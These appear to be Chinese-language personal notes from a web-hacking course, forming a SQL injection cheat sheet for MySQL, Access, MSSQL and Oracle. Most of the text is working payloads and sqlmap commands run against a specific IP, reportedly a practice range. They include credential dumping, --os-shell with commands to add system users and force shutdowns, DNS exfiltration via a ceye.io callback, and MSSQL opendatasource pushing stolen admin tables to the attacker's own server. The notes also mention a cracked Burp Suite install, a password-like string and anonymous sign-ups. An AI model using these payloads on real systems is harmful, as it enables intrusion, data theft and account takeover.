sql 注入
1.盲注 (沒(méi)有回顯)
2.顯錯(cuò)注入
3.報(bào)錯(cuò)注入
顯錯(cuò)注入-聯(lián)合查詢(Mysql數(shù)據(jù)庫(kù))的基本流程
顯錯(cuò)注入-聯(lián)合查詢
- 是否存在注入點(diǎn)
- 猜字段數(shù)
' order by 1...<根據(jù)第n個(gè)字段進(jìn)行排序>' 可以看出有多少字段;
- 聯(lián)合查詢尋找輸出點(diǎn)
知道字段數(shù)后,不知道返參是那個(gè)字段,這樣可用聯(lián)合查詢 ' union select 1,2,3,4 '
正常查詢根據(jù)id只顯示第一條數(shù)據(jù),可是聯(lián)合查詢會(huì)將聯(lián)合查詢值1234,顯示在的二條;這時(shí)需要將前面的數(shù)據(jù)排空:
正常查詢不到的值(id=9.9、'and 1=2'<報(bào)錯(cuò)語(yǔ)句>
limit 1,1 <從第一行數(shù)據(jù)取一個(gè)>這樣就會(huì)顯示出查詢不到的值也就是的幾個(gè)到下一步(現(xiàn)在假設(shè)是第二個(gè)是回顯點(diǎn),后面的
select 1 ,2 ,3,4中2這個(gè)參數(shù)才會(huì)顯示)
- 然后去系統(tǒng)自帶庫(kù)查詢庫(kù)名、表名、字段名
查庫(kù)名:
可以將上步查詢到的第幾個(gè)字段換成’database()<當(dāng)前庫(kù)名>‘ (ps. union select 1,database(),3,4)查表名(1):
union select 1,table_name from information_schema.tables where table_schema ='上面得到的庫(kù)名' limit 0,1 (依次查詢)<information_schema:系統(tǒng)自帶庫(kù),mysql 5.0以上的版本內(nèi)置。如tables表,里面是數(shù)據(jù)庫(kù)中所有表和庫(kù)的對(duì)應(yīng)關(guān)系;table_schema系統(tǒng)自帶表>查表名(2):
union select 1,group_concat(table_name) from information_schema.tables where table_schema ='上面得到的庫(kù)名'group_concat():多行數(shù)據(jù)拼接查字段名(1):
union select 1,column_name from information_schema.columns where table_schema ='上面得到的庫(kù)名' and table_name = '上面的表名' limit 1,1查字段名(2):
union select 1,group_concat(column_name) from information_schema.columns where table_schema ='上面得到的庫(kù)名' and table_name = '上面的表名'
- 查詢我們需要的字段的值
根據(jù)上述信息可獲取數(shù)據(jù)庫(kù)中真實(shí)的值
union select 1,username <賬號(hào)密碼字段名> from <上面的表名>
- 回顯點(diǎn)顯示想要的內(nèi)容
數(shù)據(jù)庫(kù)語(yǔ)句必須閉合,’ --+ 或者 # ‘ 閉合單引號(hào);
很多時(shí)候 # 不會(huì)被瀏覽器解析 可使用 (%23);
`--+`是瀏覽器編碼 (空格會(huì)被替換成%20或者+);
`-- `就可閉合
古法
select * from news where id = 1 and 1=1;
select * from news where id = 1 and 1=2;
最簡(jiǎn)單
在url最后面加
'
教程(注意語(yǔ)句間空格)
- 數(shù)字傳參可嘗試
-1
(www.xxx.com/new.php?id=1 and ...) 頁(yè)面顯示id=1的新聞;
(www.xxx.com/new.php?id=2-1 and ...)頁(yè)面顯示id=1的新聞;and 1=1 and 1=2被攔截的可能性太高,可嘗試and -1=-1 and -1=-2or sleep(5)
sql 注入的常用工具
[匿名郵箱:]{https://bccto.me}
環(huán)境變量設(shè)置,為了是cmd或者其他程序不需要路徑直接開(kāi)啟程序 <環(huán)境變量的設(shè)置win:計(jì)算機(jī)>屬性>遠(yuǎn)程>高級(jí)>環(huán)境變量>在系統(tǒng)變量的變量’path‘的值中拼接 ";需要程序的路徑"
sqlmap 基本操作:
- 存在注入:
sqlmap -u http://59.63.200.79:8003/?id=1- 跑庫(kù)名:
sqlmap -u http://59.63.200.79:8003/?id=1 --dbs- 跑表名:`sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe --tables'
- 指定表跑字段:
sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin --columns- 獲取數(shù)據(jù):
sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C username,password --dump直接跑出權(quán)限,且getshell
sqlmap -u http://59.63.200.79:8001/single.php?id=1 --is-dba:看dba的權(quán)限,如果有權(quán)限則可能getshellsqlmap -u http://59.63.200.79:8001/single.php?id=1 --os-shell:有權(quán)限,去shell- 會(huì)問(wèn)到用什么語(yǔ)言寫(xiě)的,按需求填寫(xiě):
4- 最后獲得os shell
- 可直接輸入:
whoami、ipconfig、net user、net user a b /add(添加系統(tǒng)用戶a,密碼b)、shutdown -t 0 -r(關(guān)機(jī)重啟) 等cmd的命令
sqlmap 直接跑包: sqlmap -r /Users/test/Desktop/1.txt
sqlmap 清理緩存:sqlmap --flush-session
sqlmap 可以直接暴庫(kù)等查詢數(shù)據(jù)庫(kù)的東西
sqlmap 在url后面添加 --form 表示post請(qǐng)求
sqlmap 提高等級(jí): sqlmap ... --level 3
sqlmap 知道閉合的時(shí)候可以:sqlmap -u http://59.63.200.79:8001/single.php?id=1")里的")就是閉合符號(hào)
Burpsuite 可以抓包;可以遍歷跟換字符;安裝證書(shū)后就可看到https的包內(nèi)容;
BurpSuite 破解安裝
[ .yd8."X:Pw"T796akMZoi989H3W|n[-!]這個(gè)是burpsuite的官網(wǎng)密碼,郵箱為475...
jdk百度網(wǎng)盤(pán)下載
mac 安裝jdk
burpsuite 下載1
burpsuite 下載2
可以跑數(shù)據(jù)包的方式,與sqlmap聯(lián)合,先將請(qǐng)求頭抓到后,保存到1.txt。此時(shí)如果知道哪里存在注入,就在哪里參數(shù)值后面加 *
用抓包的方式跑post注入的優(yōu)點(diǎn):1.可以加 * ,讓注入有重點(diǎn),不會(huì)出現(xiàn) --form 提交后出現(xiàn)破碎的數(shù)據(jù);2. 注入不一定在前臺(tái),有可能在后臺(tái),類似登錄狀態(tài)才會(huì)注入,也就是需要cookie
sqlmap.py -r c:/aaa/bbb/ccc/1.txt
post注入、head注入
post注入
經(jīng)典,萬(wàn)能密碼
'or 1=1#
ps.
select * from user where username='admin' and password = 'admin';
賬號(hào)添加--+'
變形↓
select * from user where username='admin' --+' and password = 'admin';
變形↓將后面的注釋掉
select * from user where username='admin'(表示登錄時(shí),只需要賬號(hào)就可以登錄成功)輸入內(nèi)容:
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#
和get差不多,看前面工具介紹
head注入
updatexml()這個(gè)一般配合 and 或者 or,他和聯(lián)合查詢不同,不需要在意什么字段數(shù)
select * from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)但是要注意and情況下只要一個(gè)為false,就會(huì)判定為false,and 后面的語(yǔ)句不執(zhí)行,所以建議使用or
某些沒(méi)有回顯盲注也可以用這個(gè)updatexml()做出來(lái)。但是報(bào)錯(cuò)一般有長(zhǎng)度限制,不能輸出太長(zhǎng)的數(shù)據(jù),盡量不要使用group_concat().【有些盲注也可以試試看報(bào)錯(cuò)注入,因?yàn)橛械臅r(shí)候報(bào)錯(cuò)注入的知名錯(cuò)誤會(huì)顯示出來(lái),數(shù)據(jù)庫(kù)只忽略普通報(bào)錯(cuò)】
updatexml() 語(yǔ)法
更新xml文檔函數(shù)
updatexml(目標(biāo)xml內(nèi)容,xml文檔路徑,更新的內(nèi)容)
updatexml(1, concat(0x7e,(select database()),0x7e), 1)實(shí)際上這里是去更新了xml文檔,但是我們?cè)趚ml文檔路徑位置里面寫(xiě)入了查詢,我們輸入的特殊字符,然后就因?yàn)椴环陷斎胍?guī)則報(bào)錯(cuò),但是報(bào)錯(cuò)的時(shí)候他其實(shí)已經(jīng)執(zhí)行了那個(gè)子查詢代碼!【0x7e實(shí)際是16進(jìn)制,MySQL支持16進(jìn)制,但是開(kāi)頭得寫(xiě)0x 0x7e是一個(gè)特殊符號(hào),然后不符合路徑規(guī)則報(bào)錯(cuò)】
盲注
盲注的重要函數(shù)
length('abc'):返回字符串長(zhǎng)度
substr(str,pos,len):截取字符串
ascii():返回字符的ASCII碼,
sleep(5):將程序掛起一段時(shí)間
if(expr1,expr2,expr3):判斷語(yǔ)句,如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句
盲注邏輯:看頁(yè)面是否顯示正常,正常表示對(duì)了,錯(cuò)誤表示不對(duì)。先用大于小于判斷范圍,最后用==驗(yàn)證
select * from news where id=1 and查庫(kù)名長(zhǎng)度:當(dāng)臨界值顯示正常,表名庫(kù)名的長(zhǎng)度等于該值(此處表示長(zhǎng)度為6)
select * from news where id=1 and length((select database()))==6查庫(kù)名字符,判斷每一個(gè)字符,將每個(gè)字符截取出來(lái)并且轉(zhuǎn)成ASCII碼比較大小
select * from news where id=1 and ascii(substr((select database()),1,1))==70這樣就可以得出每一個(gè)字符,最終得到庫(kù)名
接下來(lái)就和之前一樣,一個(gè)一個(gè)判斷出來(lái)一直到最后的內(nèi)容
使用burp suite的方式:
抓包后用跑包的方式,不用判斷各種大小,而是直接看返回包的大小得出想要的字符。
抓包->右鍵send intruder->clear->add->payloads->set=1,type=numbers->options->from:1,to:128(ascii只有128個(gè)),step:1->sets中的count無(wú)變化則在base 選hex后再選回來(lái);開(kāi)始跑包;
使用條件語(yǔ)句和掛起語(yǔ)句
select * from news where id=1 and if(ascii(substr(database(),1,1))>120,0,sleep(10))表示庫(kù)名的字符如果>120,就不延遲,否則延遲。通過(guò)是否延遲來(lái)得出最后的結(jié)果
使用sqlmap
sqlmap.py -u http://aaa.bbb.ccc
會(huì)直接得出結(jié)果,和有回顯的一樣
寬字節(jié)注入
在下列情況中使用:
- 存在魔術(shù)引號(hào)
- 要PHP編碼和數(shù)據(jù)庫(kù)不用,數(shù)據(jù)庫(kù)非萬(wàn)國(guó)碼 【常見(jiàn)的是GBK】
使用:
%df或者漢
使用GBK編碼適用,針對(duì)中國(guó),其他的會(huì)有別的。 輸入的內(nèi)容會(huì)被轉(zhuǎn)義掉 id=
漢子編碼方式有很多種,有三字節(jié)編碼方式和二字節(jié)編碼方式(GBK是二字節(jié)編碼)
select * from news where id='1\''有轉(zhuǎn)義字符,
access cookie注入
- 判斷是否存在
- 參數(shù)在cookie中可以傳遞,【www.xxx.zzz/id=1】=>【www.xx.zzz + cookie[id]=1】 顯示是一樣的,表示存在
- 看 cookie 拼接參數(shù)后是否可注入
- cookie注入的字符必須進(jìn)行url編碼
sqlmap 跑cookie注入
sqlmap.py -u "http://aaa.bbb.ccc/news.asp" --cookie "id=171" --level 2
- 在瀏覽器直接進(jìn)行操作有兩種方式
在F12后的Application->cookie 添加參數(shù)
在console中直接操作
document.cookie="id="+escape("171 and 1=1")
document.cookie="id="+escape("171 and 1=2")
document.cookie="id="+escape('171 union select 1,2,3,4,5,6 from admin')
偏移注入【有回顯點(diǎn)】
知道數(shù)據(jù)庫(kù)名,表名,不知道字段名的情況
要求:聯(lián)合查詢前的字段要大于聯(lián)合查詢后的字段
回顯3,5,7號(hào) admin中有很多字段
document.cookie='id='+escape('171 union select 1,2,3,4,5,6,7 from admin')
偏移'171 union select admin.*,1,2,3,4,5,6,7 from admin');意思就是會(huì)將admin表中的第三個(gè)字段輸出到回顯點(diǎn)的3號(hào)位,回顯是幾,就會(huì)顯示第幾個(gè)字段的值
再偏移'171 union select 1,2,admin.*,4,5,6,7 from admin');意思就是會(huì)將admin表中的第一個(gè)字段輸出到回顯點(diǎn)的3號(hào)位
MySQL dns注入
在某些無(wú)法直接利用漏洞獲取回顯的情況下,但是目標(biāo)可以發(fā)起請(qǐng)求,這個(gè)時(shí)候就可以通過(guò)dnslog將數(shù)據(jù)帶出來(lái);對(duì)于sql盲注,常見(jiàn)的方法是一個(gè)一個(gè)猜,但是麻煩且會(huì)被ban。所以可以將select到的數(shù)據(jù)發(fā)送給一個(gè)url,利用dns解析產(chǎn)生的log查看數(shù)據(jù)
直接查詢一個(gè)文件 可將盲注轉(zhuǎn)為顯錯(cuò)注入
使用函數(shù):load_file(‘c:/.../.../1/txt’)讀取文件的函數(shù)
select load_file('../../../aaa/bb/1.txt')返回查詢出的1.txt擴(kuò):
insert into table (fileId,UserId,value) values (1,2,load_file('/data/test.txt'))表示直接將文件插入到數(shù)據(jù)庫(kù)中,掛東西敏感文件:
Linux: /etc/passwd win: c:/windows/win.ini步驟:
在
ceye.io注冊(cè)下,這個(gè)專門(mén)做dns的,手機(jī)號(hào)碼可以用阿里小號(hào)。最終會(huì)得到一個(gè)二級(jí)域名,在identifier中;該網(wǎng)站會(huì)記錄dns解析了一些什么東西隨時(shí)查看 DNS Query ,里面是dns的訪問(wèn)日志;ping的時(shí)候前面加隨便(泛解析)
xxx.xxx.xxx/a.php在有狗的情況下繞狗(之一)xxx.xxx.xxx/a.php/1.txt
xxx.xxx.xxx/a.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.hp0zyr.ceye.io/abc.txt)))解釋:讀取文件;獲取表名;表名16進(jìn)制繞解析;拼接dns服務(wù)的地址;在
ceye.io中的dns日志中可以看到三級(jí)域名字符,就是最終要獲得的數(shù)據(jù);
MSSQL 反彈注入 (別人訪問(wèn)自己的服務(wù),對(duì)方是沒(méi)有日志的,只能用在SQL sever數(shù)據(jù)庫(kù))
- MSSQL反彈注入場(chǎng)景
普通手法無(wú)法實(shí)現(xiàn)注入內(nèi)容,通過(guò)mssql反彈實(shí)現(xiàn)注入
實(shí)際就是把查詢出來(lái)的數(shù)據(jù)發(fā)送到自己的mssql服務(wù)器上
- 搭建MSSQL環(huán)境
http://www.webweb.com香港云,- 注冊(cè)用匿名郵箱,并試用
- 進(jìn)入到自己的主機(jī)
- 數(shù)據(jù)庫(kù)管理 ->
sql server管理- 創(chuàng)建數(shù)據(jù)庫(kù) (
記錄數(shù)據(jù)庫(kù)信息,后期需要使用)- 得到數(shù)據(jù)庫(kù)的url
- 可在
sql server控制臺(tái),輸入信息后操作數(shù)據(jù)庫(kù)- 可以在控制臺(tái)的
Run Query用sql語(yǔ)句創(chuàng)建表- 這樣就有了一個(gè)sql server服務(wù)器,可以遠(yuǎn)程操作,用來(lái)將別人的數(shù)據(jù)信息寫(xiě)入自己的數(shù)據(jù)庫(kù)
- 語(yǔ)句
opendatasource(provider_name,init_string)
insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe解釋:
provider_name:注冊(cè)為用于訪問(wèn)數(shù)據(jù)源的OLE DB提供程序的PROGID的名稱 MSSQL的名稱為SQLOLEDB
init_string:鏈接字符串;
鏈接地址、端口、用戶名、密碼、數(shù)據(jù)庫(kù)名
server=鏈接地址url,端口;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫(kù)名稱
連接上服務(wù)器后選定數(shù)據(jù)表DB_14ABC_AB_admin.dbo.表名吧后面語(yǔ)句的查詢結(jié)果插入到那個(gè)表里面
- 靶場(chǎng)分析
select * from news where id='1' union all select 1,2,3 from news --qw顯示錯(cuò)誤,字段不一定是數(shù)值類型,要用無(wú)類型接收
select * from news where id='1' union all select null,null,null from news --qw執(zhí)行成功
select * from news where id='1' union all select null,null,1 from news --qw開(kāi)始判斷回顯點(diǎn),但是錯(cuò)誤,表示1不是數(shù)值類型,是字符串
select * from news where id='1' union all select null,null,abc from news --qw出現(xiàn)回顯點(diǎn)需要庫(kù)名、表名、字段名;語(yǔ)句解釋:
select * from dbo.sysdatabases:查詢系統(tǒng)庫(kù)select * from dbo.sysobjects:查詢系統(tǒng)表(xtype='U') ->select * from dbo.sysobjects where xtype = 'U'U:用戶創(chuàng)建的表;S:系統(tǒng)創(chuàng)建的表select * from dbo.syscolumns:查詢字段(id=)指定sysobjects庫(kù)中表名對(duì)應(yīng)的id ;ID 為上個(gè)查詢語(yǔ)句,查表明的時(shí)候回返回這個(gè)id值
測(cè)出三個(gè)回顯點(diǎn)都是什么類型的
需要id是數(shù)值類型的,表名是字符類型的
http://aaa.aaa.aaa/?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- qwe不用查庫(kù),直接查表,得到表名和idhttp://aaa.aaa.aaa/?id=1' union all select null,name,null from dbo.syscolumns where id='id' -- qwe得到字段名http://aaa.aaa.aaa/?id=1' union all select null,字段,null from 表名 -- qwe得到字段名- 使用反彈:(
注意自己服務(wù)器的字段數(shù)量和侵入數(shù)據(jù)的字段數(shù)量,可以多建幾個(gè)表,在不同的表之間切換)
http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe知道表名的情況下,但是這種沒(méi)有意義;所以變形↓http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select id,name from dbo.sysobjects where xtype='U' -- qwe這個(gè)是在自己的服務(wù)上知道了,表名和表的id;然后再查詢表中的字段http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select name,null from dbo.syscolumns where id=自己服務(wù)上的id -- qwe這個(gè)是在自己的服務(wù)上知道了,字段名;重復(fù)第一步,得到最后數(shù)據(jù);
Oracle注入 報(bào)錯(cuò)注入 主要是語(yǔ)法和MySQL不一樣,過(guò)程還是一樣的
- 注入函數(shù)
- 報(bào)錯(cuò)注入、聯(lián)合查詢(union all)
查詢所有的表
select * from all_tables所有表
select * from all_tables
- 演示:
- 基本操作
select 1,2,3 from dualdual是強(qiáng)行格式化,為了滿足oracle數(shù)據(jù)庫(kù)嚴(yán)謹(jǐn)?shù)恼Z(yǔ)法
select dbms_random.random from dual產(chǎn)生隨機(jī)數(shù)
select user from dual當(dāng)前用戶名
select 9+1 from dual可以運(yùn)算
select * from all_tables查詢?nèi)康谋?br>select * from all_tables where owner='當(dāng)前用戶名'用戶名下的表
select * from user_tables當(dāng)前用戶名下的表,和上面一樣的效果
select * from user_tab_columns當(dāng)前用戶下的所有字段
select * from user_tab_columns where rownum=1相當(dāng)于limit 0,1
select * from user_tab_columns where rownum<3相當(dāng)于limit 0,2
select * from user_tab_columns where rownum=1 and column_name!='id'其中:<>和!=不等于的意思
select * from v$version版本報(bào)錯(cuò)注入函數(shù)
Ctxsys.drithsx.sn(user,(select banner from v$version where rownum=1))
去查詢關(guān)于主題的對(duì)應(yīng)關(guān)鍵詞,然后因?yàn)椴樵兪。☉?yīng)該是這個(gè)用戶沒(méi)有創(chuàng)建和查詢權(quán)限,默認(rèn)情況沒(méi)有創(chuàng)建,爆出未查詢到的錯(cuò)誤,從而爆出查詢的內(nèi)容)
使用步驟:
http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- qwe:得到news表
http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'NEWS')) -- qwe:得到除了news的表